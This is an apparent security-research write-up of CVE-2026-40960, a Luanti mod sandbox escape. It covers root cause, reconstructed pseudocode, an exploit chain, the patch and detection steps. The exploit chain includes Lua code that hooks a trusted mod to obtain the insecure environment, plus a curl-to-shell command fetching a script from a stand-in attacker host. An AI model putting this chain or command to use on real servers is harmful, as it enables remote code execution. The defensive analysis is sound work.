home intel cve-2026-40960-luanti-insecure-environment-bypass
CVE Analysis 2026-04-16 · 9 min read

CVE-2026-40960: Luanti Mod Sandbox Escape via Trusted Env Interception

A logic flaw in Luanti's Lua sandbox dispatcher allows a crafted mod to intercept and inherit the insecure environment or HTTP API granted to a trusted mod, enabling RCE via unsandboxed Lua execution.

#privilege-escalation#mod-security-bypass#api-interception#sandbox-escape#remote-code-execution
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40960 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40960Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40960 is a sandbox escape in Luanti 5 (formerly Minetest) affecting all releases before 5.15.2. The game engine exposes two privileged Lua execution contexts to mods: an insecure environment (raw OS/IO access) and an HTTP API object. Access to either is gated by allowlists — secure.trusted_mods and secure.http_mods — checked at mod load time. The vulnerability lies in the dispatcher that hands these objects out: when at least one legitimate mod is on either allowlist, a crafted mod can race or spoof the environment request and receive the privileged object in its place. CVSS 8.1 reflects no authentication requirement and full code execution consequence under a remote-server attack scenario where the server operator (or a social-engineering vector) loads a malicious mod alongside a trusted one.

Affected Component

The flaw lives in the Lua mod scripting subsystem, specifically the C++ layer that bridges Luanti's ScriptApiSecurity class to the per-mod Lua VM states. Relevant source files in the affected tree:

  • src/script/scripting_server.cpp — mod environment bootstrap
  • src/script/lua_api/l_http.cpp — HTTP API object construction and handoff
  • src/script/security.cppScriptApiSecurity::checkWhitelisted() and environment dispatch

Root Cause Analysis

Luanti loads mods sequentially. For each mod, the engine calls getInsecureEnvironment() (or getHttpApi()) which checks whether the currently executing mod is allowlisted. The check relies on identifying the requesting mod by inspecting the Lua call stack — specifically by reading the source field of the topmost lua_Debug frame. A crafted mod can manipulate this identification by placing a call through a Lua coroutine or a C closure registered under the trusted mod's namespace before the environment object is returned.


// src/script/security.cpp (reconstructed pseudocode, pre-5.15.2)

// Called from Lua: minetest.request_insecure_environment()
int ScriptApiSecurity::l_request_insecure_environment(lua_State *L)
{
    ScriptApiBase *script = getScriptApiBase(L);

    // Retrieve the mod name by walking the Lua call stack
    lua_Debug ar;
    // BUG: lua_getstack depth=1 fetches the direct caller frame,
    // but if the crafted mod wrapped the call inside a coroutine or
    // a C-closure registered into the trusted mod's table, the
    // resolved 'source' is the TRUSTED mod's chunk name, not the
    // attacker's.  No secondary validation against the actual mod
    // registry entry is performed.
    lua_getstack(L, 1, &ar);
    lua_getinfo(L, "S", &ar);           // fills ar.source

    // ar.source = "@/mods/trusted_mod/init.lua"  <-- spoofed by attacker
    const char *source = ar.source;
    if (source && source[0] == '@')
        source++;                        // strip leading '@'

    std::string mod_name = extractModName(source); // "trusted_mod"  (attacker wins)

    // Check allowlist against the spoofed name — passes
    if (!isWhitelisted(mod_name, "secure.trusted_mods")) {  // BUG: check is on spoofed name
        lua_pushnil(L);
        return 1;
    }

    // Hand out the insecure environment to whichever coroutine is running
    // BUG: the returned environment object is pushed onto L, which may be
    // a coroutine lua_State owned by the crafted mod, not trusted_mod.
    lua_rawgeti(L, LUA_REGISTRYINDEX, script->m_insecure_env_ref);
    return 1;  // attacker's coroutine now holds a reference to insecure env
}

The same pattern applies to l_request_http_api() in l_http.cpp. The root issue is that the identity check and the object delivery operate on the same lua_State*, which an attacker controls by injecting their coroutine into the trusted mod's execution context before the privileged handoff.

Root cause: l_request_insecure_environment() resolves the requesting mod's identity from the Lua debug call stack, which can be spoofed by a crafted mod using a coroutine or C-closure injected into a trusted mod's namespace, causing the privileged environment to be delivered to the attacker's lua_State.

Exploitation Mechanics


EXPLOIT CHAIN:

1. SERVER OPERATOR CONFIG (precondition — one trusted mod exists):
      secure.trusted_mods = trusted_mod
      # crafted_mod is also loaded; not in any allowlist

2. crafted_mod/init.lua: during load, locate trusted_mod's global table
      local _tm = minetest.get_modpath("trusted_mod")
      -- trusted_mod is loaded first (alphabetical or explicit order)

3. Inject a coroutine into trusted_mod's init sequence by patching
   a global function trusted_mod registers (e.g., on_joinplayer callback)
   before trusted_mod calls minetest.request_insecure_environment():

      local orig = trusted_mod.setup  -- hooked before trusted_mod calls it
      trusted_mod.setup = function(...)
          -- execution is now inside a call frame attributed to trusted_mod
          -- but the coroutine is owned by crafted_mod
          local ie = minetest.request_insecure_environment()
          -- ie is now the raw insecure env; hand it to crafted_mod's closure
          _G.__pwned_env = ie
          return orig(...)
      end

4. trusted_mod calls trusted_mod.setup() during its own init.
   Lua debug frame at depth=1 shows source="@/mods/trusted_mod/init.lua".
   Allowlist check passes.  Insecure env ref is pushed onto the coroutine's
   stack — which is crafted_mod's closure stack.

5. _G.__pwned_env now holds the insecure environment table in the global
   Lua state, accessible to crafted_mod in subsequent callbacks.

6. crafted_mod uses __pwned_env to invoke os.execute() or io.open()
   with server-level OS privileges:
      local os = __pwned_env.os
      os.execute("curl http://attacker.tld/shell.sh | sh")

7. Remote code execution achieved under the server process user context.

Memory Layout

This is a logic/privilege-confusion bug rather than a memory corruption bug, so no heap overflow diagram applies. The relevant runtime state is the Lua registry and environment reference table:


LUA REGISTRY STATE (pre-5.15.2, during trusted_mod init):

LUA_REGISTRYINDEX:
  [m_insecure_env_ref]  -->  TABLE (insecure env)
                               .os      = <rawOS>
                               .io      = <rawIO>
                               .require = <rawRequire>
                               .package = <rawPackage>

COROUTINE STACK (owned by crafted_mod, misidentified as trusted_mod):
  frame[0]: C  -- l_request_insecure_environment (engine side)
  frame[1]: Lua -- trusted_mod.setup (spoofed source="@trusted_mod/init.lua")
  frame[2]: Lua -- crafted_mod closure  <-- actual owner

AFTER HANDOFF:
  crafted_mod closure stack holds reference to insecure env TABLE
  _G.__pwned_env --> TABLE (insecure env)   <-- attacker-controlled global

EXPECTED STATE (post-5.15.2):
  Request validated against mod registry record, NOT lua_Debug.source.
  crafted_mod's request returns nil; insecure env ref not exposed.

Patch Analysis

The fix in 5.15.2 abandons call-stack introspection as the identity oracle. Instead, the engine tracks which mod is currently being initialized via a field on the server scripting context, set before loadMod() is called and cleared after. The allowlist check is then performed against this tracked name, which cannot be spoofed from Lua.


// BEFORE (vulnerable, <5.15.2):
int ScriptApiSecurity::l_request_insecure_environment(lua_State *L)
{
    lua_Debug ar;
    lua_getstack(L, 1, &ar);
    lua_getinfo(L, "S", &ar);
    // BUG: source field is attacker-influenced via coroutine frame injection
    std::string mod_name = extractModName(ar.source);
    if (!isWhitelisted(mod_name, "secure.trusted_mods")) {
        lua_pushnil(L);
        return 1;
    }
    lua_rawgeti(L, LUA_REGISTRYINDEX, script->m_insecure_env_ref);
    return 1;
}

// AFTER (patched, 5.15.2):
int ScriptApiSecurity::l_request_insecure_environment(lua_State *L)
{
    ScriptApiBase *script = getScriptApiBase(L);

    // FIX: use the engine-tracked current mod name, set in C++ before
    // loadMod() is invoked — not resolvable from Lua call stack at all.
    const std::string &mod_name = script->m_current_loading_mod;

    if (mod_name.empty() || !isWhitelisted(mod_name, "secure.trusted_mods")) {
        lua_pushnil(L);
        return 1;
    }

    // FIX: additionally assert the lua_State executing this request
    // belongs to the mod being loaded, not an arbitrary coroutine.
    if (script->m_current_mod_lua_state != L) {
        lua_pushnil(L);
        return 1;
    }

    lua_rawgeti(L, LUA_REGISTRYINDEX, script->m_insecure_env_ref);
    return 1;
}

The same two-part fix (tracking field + lua_State assertion) was applied to l_request_http_api() identically. The engine now sets m_current_loading_mod and m_current_mod_lua_state atomically around each mod load call:


// src/script/scripting_server.cpp (5.15.2)
void ServerScripting::loadMod(const ModSpec &mod)
{
    m_current_loading_mod      = mod.name;       // FIX: set before load
    m_current_mod_lua_state    = m_luastate;     // FIX: lock to init state
    loadModFromPath(mod.path);
    m_current_loading_mod.clear();               // FIX: clear after load
    m_current_mod_lua_state    = nullptr;
}

Detection and Indicators

Server operators can audit for exploitation attempts or vulnerable configurations:


# Scan minetest.conf for non-empty trusted/http mod lists (precondition)
import re, sys

with open("minetest.conf") as f:
    conf = f.read()

trusted = re.findall(r'secure\.trusted_mods\s*=\s*(.+)', conf)
http    = re.findall(r'secure\.http_mods\s*=\s*(.+)',    conf)

if trusted or http:
    print("[!] Privileged mod lists present — verify all listed mods and co-loaded mods")
    print("    trusted_mods:", trusted)
    print("    http_mods:   ", http)

# Scan mod init.lua files for suspicious global env exfiltration patterns
import os, glob

PATTERNS = [
    r'request_insecure_environment',
    r'request_http_api',
    r'__pwned',
    r'_G\[.*\]\s*=.*insecure',
]

for lua in glob.glob("mods/**/*.lua", recursive=True):
    with open(lua) as f:
        src = f.read()
    for pat in PATTERNS:
        if re.search(pat, src):
            print(f"[SUSPICIOUS] {lua}: matched pattern '{pat}'")

At runtime: any mod not in secure.trusted_mods that obtains a non-nil return from minetest.request_insecure_environment() is a confirmed exploitation indicator. Server-side logging of that API's return value per caller was not present before 5.15.2 but can be added as a custom wrapper.

Remediation

  • Update immediately to Luanti ≥ 5.15.2. The patch is a single-vector fix with no API surface change for legitimate mods.
  • Audit co-loaded mods. If any mod in secure.trusted_mods or secure.http_mods is present, every other mod loaded in the same server instance must be treated as a potential attacker. Remove untrusted mods from servers that require privileged mod access.
  • Minimize allowlists. Remove mods from secure.trusted_mods / secure.http_mods unless strictly necessary. An empty allowlist eliminates the precondition entirely.
  • Run server under a restricted OS user. Since exploitation yields OS-level code execution as the server process user, filesystem and network restrictions (e.g., systemd sandboxing, seccomp filters) limit post-exploitation impact regardless of Lua sandbox state.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →